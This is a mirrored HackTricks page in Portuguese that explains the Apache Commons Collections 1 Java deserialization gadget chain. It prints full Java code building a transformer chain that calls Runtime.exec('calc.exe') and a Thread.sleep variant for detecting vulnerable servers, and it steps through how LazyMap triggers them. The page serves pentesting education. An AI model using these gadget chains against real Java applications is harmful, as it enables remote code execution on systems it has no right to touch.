Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 21:53:54 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md

9.8 KiB
Raw Blame History

Payload CommonsCollection1 - Transformadores Java para Rutime exec() e Thread Sleep

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Transformadores Java para Rutime exec()

Em vários lugares, você pode encontrar um payload de desserialização Java que usa transformadores do Apache Common Collections, como o seguinte:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Se você não sabe nada sobre payloads de desserialização em Java, pode ser difícil entender por que esse código executará uma calculadora.

Primeiro, você precisa saber que um Transformer em Java é algo que recebe uma classe e a transforma em outra.
Também é interessante saber que o payload sendo executado aqui é equivalente a:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Ou mais exatamente, o que será executado no final será:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Como

Então, como o primeiro payload apresentado é equivalente a esses one-liners "simples"?

Primeiramente, você pode notar no payload que uma cadeia (array) de transformações é criada:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Se você ler o código, você notará que se de alguma forma encadear as transformações do array, você poderá executar comandos arbitrários.

Então, como essas transformações são encadeadas?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Na última seção do payload, você pode ver que um objeto Map é criado. Em seguida, a função decorate é executada a partir de LazyMap com o objeto map e os transformers encadeados. A partir do código a seguir, você pode ver que isso fará com que os transformers encadeados sejam copiados dentro do atributo lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

E então o grande final é executado: lazyMap.get("anything");

Este é o código da função get:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

E este é o código da função transform

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Então, lembre-se de que dentro da fábrica tínhamos salvo chainedTransformer e dentro da função transform estamos passando por todos esses transformadores encadeados e executando um após o outro. O engraçado é que cada transformador está usando object como entrada e o objeto é a saída do último transformador executado. Portanto, todos os transformadores são encadeados executando a carga maliciosa.

Resumo

No final, devido à forma como o lazyMap está gerenciando os transformadores encadeados dentro do método get, é como se estivéssemos executando o seguinte código:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Observa como value é a entrada de cada transformação e a saída da transformação anterior, permitindo a execução de um comando em uma linha:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Note que aqui foi explicado os gadgets usados para o payload ComonsCollections1. Mas não foi explicado como tudo isso começa a ser executado. Você pode ver aqui que o ysoserial, para executar esse payload, usa um objeto AnnotationInvocationHandler porque quando esse objeto é desserializado, ele invocará a função payload.get() que executará todo o payload.

Java Thread Sleep

Esse payload pode ser útil para identificar se a web é vulnerável, pois executará um sleep se for.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Mais Gadgets

Você pode encontrar mais gadgets aqui: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!